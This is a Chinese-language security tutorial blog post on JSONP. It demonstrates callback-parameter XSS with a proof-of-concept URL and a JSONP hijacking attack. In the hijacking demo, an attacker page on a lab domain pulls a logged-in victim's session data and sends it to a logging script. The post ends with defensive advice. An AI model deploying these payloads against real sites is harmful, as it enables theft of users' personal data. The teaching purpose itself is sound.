JSONP 劫持

发布时间 2023-08-04 13:57:07作者: Nestar

JSONP 介绍

jsonp 是一种协议,准确的说,他是 json 的一种使用模式,为了解决 Json 受同源策略限制的问题。

基本语法

JSONP的基本语法为:callback({“name”:”test”, “msg”:”success”})
常见的例子包括函数调用如callback({“a”:”b”}) 或变量赋值var a={JSON data}

应用场景

首先演示一下 JSON 的局限性
首先我搭建两个网站 http://www.victim.san.com/http://www.attack.san.com/
我们在 http://www.victim.san.com/ 下新建一个 test.json
然后在 http://www.victim.san.com/ 中编写以下代码:
index.php:

<?php
echo "www.victim.san.com";
echo "</br>";
?>
<script src='./jquery.js'></script>
<script >
    $.ajax({
        url: 'http://www.victim.san.com/test.json',
        type:"get",
        dataType: "json",
        success: function (data) {
        console.log(data);}
    })
</script>

image
然后访问 http://www.victim.san.com/
image
可以看到,能够正常的获取到 JOSN 中的数据

然后我们在 http://www.attack.san.com/ 中编写代码
index.php:

<?php
echo "www.attack.san.com";
echo "</br>";
?>
<script src='./jquery.js'></script>
<script >
    $.ajax({
        url: 'http://www.victim.san.com/test.json',
        type:"get",
        dataType: "json",
        success: function (data) {
            console.log(data);}
    })
</script>

image
可以看到,因为同源策略的影响,我们的 www.attack.san.com 的 JS 是无法获取到 www.victim.san.com 的数据的。

也就是说,普通的 CSRF 漏洞是这样的。你诱骗别人访问了你的 www.attack.san.com ,你的的恶意 JS 可以操作受害者的浏览器访问关键系统了,然后受害者的浏览器也确实登陆过关键系统有 cookie 的,然后也确实系统返回了敏感数据给受害者的浏览器了,但是,,,你写的这个恶意 JS 因为同源策略的影响它拿不到数据,也就没法把数据发送给你的恶意服务器哦。

image

JSONP 的用法

jsonp 简单地说,就是利用 script 标签的 src 属性能够发起跨域请求的原理来实现的。
因此只需将 test.json 中的内容按照 javascript 规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是 jsonp 的核心原理。

index.php:

<?php
echo "www.attack.san.com";
echo "</br>";
?>
<body>
<script>
    function callback(data){
        console.log("name:" + data.username + "  passwrod:" + data.password);
    }
</script>
<script src="http://www.victim.san.com/test.json"></script>
</body>

在 test.json 中按照 javascript 代码规范调用 callback 函数,并将数据作为参数传入
callback({ "username": "Sentiment", "password": "123456" });
image

此时请求 http://www.attack.san.com/ ,成功请求跨域 json
image
所以 JSONP 主要就是用来解决跨域问题的。也就是说,顺便帮 CSRF 漏洞也解决了跨域问题。

JSONP跨域漏洞

JSONP 跨域漏洞主要是 callback 自定义导致的 XSS 和 JSONP 劫持。

callback 自定义导致的 XSS

我们知道,在 JSONP 跨域中,我们是可以传入一个函数名的参数如 callback,然后 JSONP 端点会根据我们的传参动态生成 JSONP 数据响应回来。
如果 JSONP 端点对于用于传入的函数名参数 callback 处理不当,如未正确设置响应包的 Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致 XSS 漏洞的产生。
attack.san.com/jsonp.php:

<?php
$func = $_GET['callback'];
print $func."({ \"username\": \"Sentiment\", \"password\": \"123456\" })";

我们再写一个常见的使用 jQuery 调用 JSONP 的例子(为了演示跨域,我就用 victim 调用 attack 了)
victim.san.com/index.php:

<?php
echo "www.victim.san.com";
echo "</br>";
?>
<html>
<body>
<table>
    <tr>
        <td>
            姓名:
        </td>
        <td>
            <label id="username"></label>
        </td>
    </tr>
    <tr>
        <td>
            密码:
        </td>
        <td>
            <label id="password"></label>
        </td>
    </tr>
    <tr>
        <td>
            <button onclick="doSearch()">获取信息</button>
        </td>
    </tr>
</table>
<script>
    function callback(data) {
        document.getElementById("username").innerText = data.username;
        document.getElementById("password").innerText = data.password;
    }
</script>
<script src='./jquery.js'></script>
<script >
    function doSearch(){
        $.ajax({
            url: 'http://www.attack.san.com/jsonp.php',
            dataType: 'jsonp',
            jsonp: 'callback',
            success: function(response) {
                document.getElementById("username").innerText = response.username;
                document.getElementById("password").innerText = response.password;
            },
            error: function(xhr, status, error) {
                // 处理错误
            }
        });
    }
</script>
</body>
</html>

image

image
image

可以看到完美实现跨越请求而且发出的确实是 JSONP 格式请求。
那么 XSS 呢?
OK ,我们把 jsonp.php 再放到 victim.san.com 下去吧。
使用 POC 访问 http://www.victim.san.com/jsonp.php?callback=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E;callback
image
请求后触发 xss,此时发现 php 默认的 content-type 为 text/html
image

其它 content-type 类型

经测试后发现 application/json、text/json、application/javascript、text/javascript 等都不触发 XSS

JSONP劫持

因为 jsonp 实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起 jsonp 劫持。

Demo1 — 窃取用户信息

以下都是 victim.san.com 下的。
设置模拟用户登录页面 index.php

<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];

if($name == "admin" && $pwd == "admin"){
    $_SESSION['name'] = $name;
}

if (isset($_GET['logout'])) {
    if ($_GET['logout'] === 'true') {
        unset($_SESSION['name']);
    }
}

// 如果没有登陆
if(!$_SESSION["name"]){
    echo '<html>
   <head>
      <title>登录</title>
      <meta charset="utf-8">
   </head>
   <body>
      <form action="index.php" method="get">
         用户名:<input type="text" name="name">
         密码:<input type="password" name="pwd">
         <input type="submit" name="submit" value="login">
      </form>
   </body>
   </html>';
} else {  // 如果登陆了
    echo '<a href="http://www.victim.san.com/info.php">用户信息</a><br>';
    echo '<a href="http://www.victim.san.com/index.php?logout=true">退出登录</a><br data-tomark-pass>';
    echo "欢迎您, " . $_SESSION['name'] . "<br data-tomark-pass>";
}

查询信息页面 info.php

<?php
error_reporting(0);
session_start();
echo "欢迎来到 www.victim.san.com";
echo "</br>";
echo '<a href="index.php?logout=true">退出登录</a><br data-tomark-pass>';
echo "欢迎您, " . $_SESSION['name'] . "<br data-tomark-pass>";
?>
<html>
<body>
<table>
    <tr>
        <td>姓名:</td>
        <td><label id="username"></label></td>
    </tr>
    <tr>
        <td>密码:</td>
        <td><label id="password"></label></td>
    </tr>
    <tr>
        <td><input id="keyword"></td>
        <td><button onclick="doSearch()">获取信息</button></td>
    </tr>
</table>
<script src='./jquery.js'></script>
<script>
    function doSearch() {
        const url = 'http://www.victim.san.com/jsonp.php';
        $.ajax({
            url: url,
            dataType: 'jsonp',
            jsonp: 'callback',
            success: function (response) {
                document.getElementById("username").innerText = response.username;
                document.getElementById("password").innerText = response.password;
            },
            error: function (xhr, status, error) {
                // 处理错误
            }
        });
    }
</script>
</body>
</html>

返回信息的接口 jsonp.php

<?php
error_reporting(0);
session_start();
$name = $_GET['keyword'];
$func = $_GET['callback'];
if(isset($_SESSION['name'])){
    print $func."({ \"username\": \"" . $_SESSION["name"] . "\", \"password\": \"admin\" })";
} else {
    print $func."({ \"username\": \"error\", \"password\": \"error\" })";
}

OK,可以完美的实现一个简简单单的系统啦。
image

当用户登录后,访问 info.php 便能查询到自己的信息。

这个时候攻击者发现 http://www.victim.san.com/jsonp.php?keyword=admin&callback=jQuery3700970858841055924_1691117036026&_=1691117036029 这个接口使用了 JSONP ,而且也没有防御 CSRF 这类的攻击,OK 进行攻击。

此时构造恶意 html
index.php

<?php
echo "www.attack.san.com";
echo "</br>";
?>
<body>
<script>
    function callback(data){
        let yourData = "";
        for(const key in data){
            yourData += key + "=" + data[key] + ', ';
        }
        // 加入其他你需要添加的数据
        const currentDate = new Date();
        const currentDateTime = currentDate.toLocaleString();
        yourData += "time=" + currentDateTime + ", ";

        const dataToSend = {data: yourData};

        $.ajax({
            url: 'data.php',
            type:"get",
            data: dataToSend,
            success: function (data) {
                alert("你的信息已经被我偷走啦! " + yourData);
            },
            error: function(xhr, status, error) {
                alert("发送信息出错了! " + yourData);
            }
        })
    }
</script>
<script src='./jquery.js'></script>
<script src="http://www.victim.san.com/jsonp.php?callback=callback"></script>
</body>

data.php

<?php
$data = $_GET['data'];
$data .= "IP=".$_SERVER["REMOTE_ADDR"];
$data = $data . PHP_EOL;
$file = file_put_contents("info.txt", $data, FILE_APPEND);

show.php:

<?php
$fileContent = file("info.txt");
foreach ($fileContent as $line){
    echo $line . "<br>";
}

引导用户访问后 http://www.attack.san.com/成功被 jsonp 劫持
image
防御
● 若可行,则使用CORS替换JSONP实现跨域功能;
● 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;
● 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
● 把回调函数加入到白名单

参考:

https://xz.aliyun.com/t/12744